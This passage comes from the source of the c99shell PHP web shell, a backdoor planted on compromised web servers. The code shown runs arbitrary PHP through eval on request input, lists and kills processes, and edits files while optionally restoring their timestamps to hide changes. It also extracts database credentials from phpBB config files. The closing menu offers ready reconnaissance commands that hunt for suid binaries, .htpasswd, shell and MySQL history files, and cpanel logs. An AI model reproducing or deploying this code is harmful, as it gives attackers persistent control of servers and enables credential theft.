2247 $ext = explode(".",$o);
2248 $c = count($ext)-1;
2249 $ext = $ext[$c];
2250 $ext = strtolower($ext);
2251 $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
2252 $row[] = view_size($a[1]);
2253 }
2254 $row[] = date("d.m.Y H:i:s",$a[2]);
2255 if (!$win) {$row[] = $a[3];}
2256 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
2257 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
2258 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
2259 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;}
2260 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;}
2261 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
2262 elseif (is_link($v)) {$tab["links"][] = $row;}
2263 elseif (is_dir($v)) {$tab["folders"][] = $row;}
2264 elseif (is_file($v)) {$tab["files"][] = $row;}
2265 $i++;
2266 }
2267 }
2268 // Compiling table
2269 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
2270 echo "<center><b><u>Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders</u></b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
2271 foreach($table as $row)
2272 {
2273 echo "<tr>\r\n";
2274 foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
2275 echo "</tr>\r\n";
2276 }
2277 echo "</table><hr size=\"1\" noshade><p align=\"right\">
2278 <script>
2279 function ls_setcheckboxall(status)
2280 {
2281 var id = 1;
2282 var num = ".(count($table)-2).";
2283 while (id <= num)
2284 {
2285 document.getElementById('actbox'+id).checked = status;
2286 id++;
2287 }
2288 }
2289 function ls_reverse_all()
2290 {
2291 var id = 1;
2292 var num = ".(count($table)-2).";
2293 while (id <= num)
2294 {
2295 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
2296 id++;
2297 }
2298 }
2299 </script>
2300 <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
2301 <b>";
2302 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
2303 {
2304 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
2305 }
2306 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
2307 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
2308 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
2309 if ($usefsbuff)
2310 {
2311 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
2312 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
2313 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
2314 }
2315 echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
2316 echo "</form>";
2317 }
2318}
2319
2320if ($act == "processes")
2321{
2322 echo "<b>Processes:</b><br>";
2323 if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");}
2324 else {$handler = "tasklist";}
2325 $ret = myshellexec($handler);
2326 if (!$ret) {echo "</br>Can't execute \"".$handler."\"!";}
2327 else
2328 {
2329 if (empty($processes_sort)) {$processes_sort = $sort_default;}
2330 $parsesort = parsesort($processes_sort);
2331 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2332 $k = $parsesort[0];
2333 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";}
2334 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";}
2335 $ret = htmlspecialchars($ret);
2336 if (!$win)
2337 {
2338 if ($pid)
2339 {
2340 if (is_null($sig)) {$sig = 9;}
2341 echo "Sending signal ".$sig." to #".$pid."... ";
2342 if (posix_kill($pid,$sig)) {echo "OK.";}
2343 else {echo "ERROR.";}
2344 }
2345 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
2346 $stack = explode("\n",$ret);
2347 $head = explode(" ",$stack[0]);
2348 unset($stack[0]);
2349 for($i=0;$i<count($head);$i++)
2350 {
2351 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
2352 }
2353 $prcs = array();
2354 foreach ($stack as $line)
2355 {
2356 if (!empty($line))
2357{
2358 echo "<tr>";
2359 $line = explode(" ",$line);
2360 $line[10] = join(" ",array_slice($line,10));
2361 $line = array_slice($line,0,11);
2362 if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
2363 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2364 $prcs[] = $line;
2365 echo "</tr>";
2366 }
2367 }
2368 }
2369 else
2370 {
2371 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2372 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2373 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2374 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2375 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2376 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2377 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2378 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2379 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2380 while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
2381 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2382 $ret = convert_cyr_string($ret,"d","w");
2383 $stack = explode("\n",$ret);
2384 unset($stack[0],$stack[2]);
2385 $stack = array_values($stack);
2386 $head = explode("",$stack[0]);
2387 $head[1] = explode(" ",$head[1]);
2388 $head[1] = $head[1][0];
2389 $stack = array_slice($stack,1);
2390 unset($head[2]);
2391 $head = array_values($head);
2392 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";}
2393 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";}
2394 if ($k > count($head)) {$k = count($head)-1;}
2395 for($i=0;$i<count($head);$i++)
2396 {
2397 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
2398 }
2399 $prcs = array();
2400 foreach ($stack as $line)
2401 {
2402 if (!empty($line))
2403 {
2404 echo "<tr>";
2405 $line = explode("",$line);
2406 $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
2407 $line[2] = intval(str_replace(" ","",$line[2]))*1024;
2408 $prcs[] = $line;
2409 echo "</tr>";
2410 }
2411 }
2412 }
2413 $head[$k] = "<b>".$head[$k]."</b>".$y;
2414 $v = $processes_sort[0];
2415 usort($prcs,"tabsort");
2416 if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
2417 $tab = array();
2418 $tab[] = $head;
2419 $tab = array_merge($tab,$prcs);
2420 echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
2421 foreach($tab as $i=>$k)
2422 {
2423 echo "<tr>";
2424 foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
2425 echo "</tr>";
2426 }
2427 echo "</table>";
2428 }
2429}
2430if ($act == "eval")
2431{
2432 if (!empty($eval))
2433 {
2434 echo "<b>Result of execution this PHP-code</b>:<br>";
2435 $tmp = ob_get_contents();
2436 $olddir = realpath(".");
2437 @chdir($d);
2438 if ($tmp)
2439 {
2440 ob_clean();
2441 eval($eval);
2442 $ret = ob_get_contents();
2443 $ret = convert_cyr_string($ret,"d","w");
2444 ob_clean();
2445 echo $tmp;
2446 if ($eval_txt)
2447 {
2448 $rows = count(explode("\r\n",$ret))+1;
2449 if ($rows < 10) {$rows = 10;}
2450 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2451 }
2452 else {echo $ret."<br>";}
2453 }
2454 else
2455 {
2456 if ($eval_txt)
2457 {
2458 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
2459 eval($eval);
2460 echo "</textarea>";
2461 }
2462 else {echo $ret;}
2463 }
2464 @chdir($olddir);
2465 }
2466 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2467 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2468}
2469if ($act == "f")
2470{
2471 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
2472 {
2473 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2474 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2475 }
2476 else
2477 {
2478 $r = @file_get_contents($d.$f);
2479 $ext = explode(".",$f);
2480 $c = count($ext)-1;
2481 $ext = $ext[$c];
2482 $ext = strtolower($ext);
2483 $rft = "";
2484 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2485 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2486 if (empty($ft)) {$ft = $rft;}
2487 $arr = array(
2488 array("[hex]","info"),
2489 array("[html]","html"),
2490 array("[txt]","txt"),
2491 array("[Code]","code"),
2492 array("[Session]","phpsess"),
2493 array("[exe]","exe"),
2494 array("[SDB]","sdb"),
2495 array("[gif]","img"),
2496 array("[ini]","ini"),
2497 array("[download]","download"),
2498 array("[rtf]","notepad"),
2499 array("[change]","edit")
2500 );
2501 echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2502 foreach($arr as $t)
2503 {
2504 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2505 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2506 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2507 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2508 }
2509 echo "<hr size=\"1\" noshade>";
2510 if ($ft == "info")
2511 {
2512 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2513 if (!$win)
2514 {
2515 echo "<tr><td><b>Owner/Group</b></td><td> ";
2516 $ow = posix_getpwuid(fileowner($d.$f));
2517 $gr = posix_getgrgid(filegroup($d.$f));
2518 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2519 }
2520 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
2521 $fi = fopen($d.$f,"rb");
2522 if ($fi)
2523 {
2524 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2525 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2526 $n = 0;
2527 $a0 = "00000000<br>";
2528 $a1 = "";
2529 $a2 = "";
2530 for ($i=0; $i<strlen($str); $i++)
2531 {
2532 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2533 switch (ord($str[$i]))
2534 {
2535 case 0: $a2 .= "<font>0</font>"; break;
2536 case 32:
2537 case 10:
2538 case 13: $a2 .= "&nbsp;"; break;
2539 default: $a2 .= htmlspecialchars($str[$i]);
2540 }
2541 $n++;
2542 if ($n == $hexdump_rows)
2543 {
2544 $n = 0;
2545 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2546 $a1 .= "<br>";
2547 $a2 .= "<br>";
2548 }
2549 }
2550 //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2551 echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
2552 }
2553 $encoded = "";
2554 if ($base64 == 1)
2555 {
2556 echo "<b>Base64 Encode</b><br>";
2557 $encoded = base64_encode(file_get_contents($d.$f));
2558 }
2559 elseif($base64 == 2)
2560 {
2561 echo "<b>Base64 Encode + Chunk</b><br>";
2562 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2563 }
2564 elseif($base64 == 3)
2565 {
2566 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2567 $encoded = base64_encode(file_get_contents($d.$f));
2568 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2569 }
2570 elseif($base64 == 4)
2571 {
2572 $text = file_get_contents($d.$f);
2573 $encoded = base64_decode($text);
2574 echo "<b>Base64 Decode";
2575 if (base64_encode($encoded) != $text) {echo " (failed)";}
2576 echo "</b><br>";
2577 }
2578 if (!empty($encoded))
2579 {
2580 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2581 }
2582 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2583<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
2584<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
2585<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
2586<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
2587<P>";
2588 }
2589 elseif ($ft == "html")
2590 {
2591 if ($white) {@ob_clean();}
2592 echo $r;
2593 if ($white) {c99shexit();}
2594 }
2595 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2596 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2597 elseif ($ft == "phpsess")
2598 {
2599 echo "<pre>";
2600 $v = explode("|",$r);
2601 echo $v[0]."<br>";
2602 var_dump(unserialize($v[1]));
2603 echo "</pre>";
2604 }
2605 elseif ($ft == "exe")
2606 {
2607 $ext = explode(".",$f);
2608 $c = count($ext)-1;
2609 $ext = $ext[$c];
2610 $ext = strtolower($ext);
2611 $rft = "";
2612 foreach($exeftypes as $k=>$v)
2613 {
2614 if (in_array($ext,$v)) {$rft = $k; break;}
2615 }
2616 $cmd = str_replace("%f%",$f,$rft);
2617 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2618 }
2619 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2620 elseif ($ft == "code")
2621 {
2622 if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
2623 {
2624 $arr = explode("\n",$r);
2625 if (count($arr == 18))
2626 {
2627 include($d.$f);
2628 echo "<b>phpBB configuration is detected in this file!<br>";
2629 if ($dbms == "mysql4") {$dbms = "mysql";}
2630 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2631 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
2632 echo "Parameters for manual connect:<br>";
2633 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2634 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2635 echo "</b><hr size=\"1\" noshade>";
2636 }
2637 }
2638 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2639 if (!empty($white)) {@ob_clean();}
2640 highlight_file($d.$f);
2641 if (!empty($white)) {c99shexit();}
2642 echo "</div>";
2643 }
2644 elseif ($ft == "download")
2645 {
2646 @ob_clean();
2647 header("Content-type: application/octet-stream");
2648 header("Content-length: ".filesize($d.$f));
2649 header("Content-disposition: attachment; filename=\"".$f."\";");
2650 echo $r;
2651 exit;
2652 }
2653 elseif ($ft == "notepad")
2654 {
2655 @ob_clean();
2656 header("Content-type: text/plain");
2657 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2658 echo($r);
2659 exit;
2660 }
2661 elseif ($ft == "img")
2662 {
2663 $inf = getimagesize($d.$f);
2664 if (!$white)
2665 {
2666 if (empty($imgsize)) {$imgsize = 20;}
2667 $width = $inf[0]/100*$imgsize;
2668 $height = $inf[1]/100*$imgsize;
2669 echo "<center><b>Size:</b>&nbsp;";
2670 $sizes = array("100","50","20");
2671 foreach ($sizes as $v)
2672 {
2673 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2674 if ($imgsize != $v ) {echo $v;}
2675 else {echo "<u>".$v."</u>";}
2676 echo "</a>&nbsp;&nbsp;&nbsp;";
2677 }
2678 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2679 }
2680 else
2681 {
2682 @ob_clean();
2683 $ext = explode($f,".");
2684 $ext = $ext[count($ext)-1];
2685 header("Content-type: ".$inf["mime"]);
2686 readfile($d.$f);
2687 exit;
2688 }
2689 }
2690 elseif ($ft == "edit")
2691 {
2692 if (!empty($submit))
2693 {
2694 if ($filestealth) {$stat = stat($d.$f);}
2695 $fp = fopen($d.$f,"w");
2696 if (!$fp) {echo "<b>Can't write to file!</b>";}
2697 else
2698 {
2699 echo "<b>Saved!</b>";
2700 fwrite($fp,$edit_text);
2701 fclose($fp);
2702 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2703 $r = $edit_text;
2704 }
2705 }
2706 $rows = count(explode("\r\n",$r));
2707 if ($rows < 10) {$rows = 10;}
2708 if ($rows > 30) {$rows = 30;}
2709 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2710 }
2711 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2712 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
2713 }
2714}
2715}
2716else
2717{
2718 @ob_clean();
2719 //For simple size- and speed-optimization.
2720 $imgequals = array(
2721 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2722 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2723 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2724 "ext_html"=>array("ext_html","ext_htm"),
2725 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2726 "ext_lnk"=>array("ext_lnk","ext_url"),
2727 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2728 "ext_doc"=>array("ext_doc","ext_dot"),
2729 "ext_js"=>array("ext_js","ext_vbs"),
2730 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2731 "ext_wri"=>array("ext_wri","ext_rtf"),
2732 "ext_swf"=>array("ext_swf","ext_fla"),
2733 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2734 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2735 );
2736 if (!$getall)
2737 {
2738 header("Content-type: image/gif");
2739 header("Cache-control: public");
2740 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2741 header("Cache-control: max-age=".(60*60*24*7));
2742 header("Last-Modified: ".date("r",filemtime(__FILE__)));
2743 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2744 if (empty($images[$img])) {$img = "small_unk";}
2745 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2746 echo base64_decode($images[$img]);
2747 }
2748 else
2749 {
2750 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2751 natsort($images);
2752 $k = array_keys($images);
2753 echo "<center>";
2754 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2755 echo "</center>";
2756 }
2757 exit;
2758}
2759?>
2760</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2761<tr><td width="100%" height="1" valign="top"><center><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><br/><b>Local Command:</b> <input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
2762<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2763<tr>
2764 <td width="50%" height="83" valign="top"><center>
2765 <div align="center"><br/>
2766 <b> Quick Commands </b></div>
2767 <form action="<?php echo $surl; ?>">
2768 <div align="center">
2769 <input type=hidden name=act value="cmd">
2770 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2771 <SELECT NAME="cmd">
2772 <OPTION VALUE="#"> [File Manipulation]
2773 <OPTION VALUE="">
2774 <OPTION VALUE="lsattr -va">List file attributes on a Linux second extended file system
2775 <OPTION VALUE="find / -type f -perm -04000 -ls">Find suid files
2776 <OPTION VALUE="find . -type f -perm -04000 -ls">Find suid files in current directory
2777 <OPTION VALUE="find / -type f -perm -02000 -ls">Find sgid files
2778 <OPTION VALUE="find . -type f -perm -02000 -ls">Find sgid files in current directory
2779 <OPTION VALUE="ls -lia">List you current directory's files, folders, & permissions
2780 <OPTION VALUE="find / -type f -name config.inc.php">Find config.inc.php files
2781 <OPTION VALUE="find . -type f -name config.inc.php">Find config.inc.php files in current directory
2782 <OPTION VALUE="find / -type f -name "config*">Find config* files
2783 <OPTION VALUE="find . -type f -name "config*">Find config* files in current directory
2784 <OPTION VALUE="find / -type f -perm -2 -ls">Find all writable files
2785 <OPTION VALUE="find . -type f -perm -2 -ls">Find all writable files in current directory
2786 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories and files
2787 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories and files in current directory
2788 <OPTION VALUE="find / -type f -name service.pwd">Find all service.pwd files
2789 <OPTION VALUE="find . -type f -name service.pwd">Find service.pwd files in current directory
2790 <OPTION VALUE="find / -type f -name .htpasswd">Find all .htpasswd files
2791 <OPTION VALUE="find . -type f -name .htpasswd">Find .htpasswd files in current directory
2792 <OPTION VALUE="find / -type f -name .bash_history">Find all .bash_history files
2793 <OPTION VALUE="find . -type f -name .bash_history">Find .bash_history files in current directory
2794 <OPTION VALUE="find / -type f -name .mysql_history">Find all .mysql_history files
2795 <OPTION VALUE="find . -type f -name .mysql_history">Find .mysql_history files in current directory
2796 <OPTION VALUE="find / -type f -name .fetchmailrc">Find all .fetchmailrc files
2797 <OPTION VALUE="find . -type f -name .fetchmailrc">Find .fetchmailrc files in current directory
2798 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
2799 <OPTION VALUE="">
2800 <OPTION VALUE="#"> [Directory Malipulation]
2801 <OPTION VALUE="">
2802 <OPTION VALUE="pwd">List your current directory
2803 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable?
2804 <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories
2805<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory
2806<OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories
2807<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory
2808<OPTION VALUE="">
2809<OPTION VALUE="#"> [Miscellaneous Commands]
2810<OPTION VALUE="">
2811 <OPTION VALUE="tar -cvf NEWTAR!!.tar -c <?php passthru('pwd'); ?>">Tar your current directory. (Only works if the directory is writable)
2812 <OPTION VALUE="uname -a">Kernel version
2813 <OPTION VALUE="w">Logged in users
2814 <OPTION VALUE="lastlog">Last users to connect
2815 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
2816 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords
2817 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo
2818 <OPTION VALUE="netstat -atup | grep IST">Open ports
2819 <OPTION VALUE="">
2820 <OPTION VALUE="#"> [Application Verification]
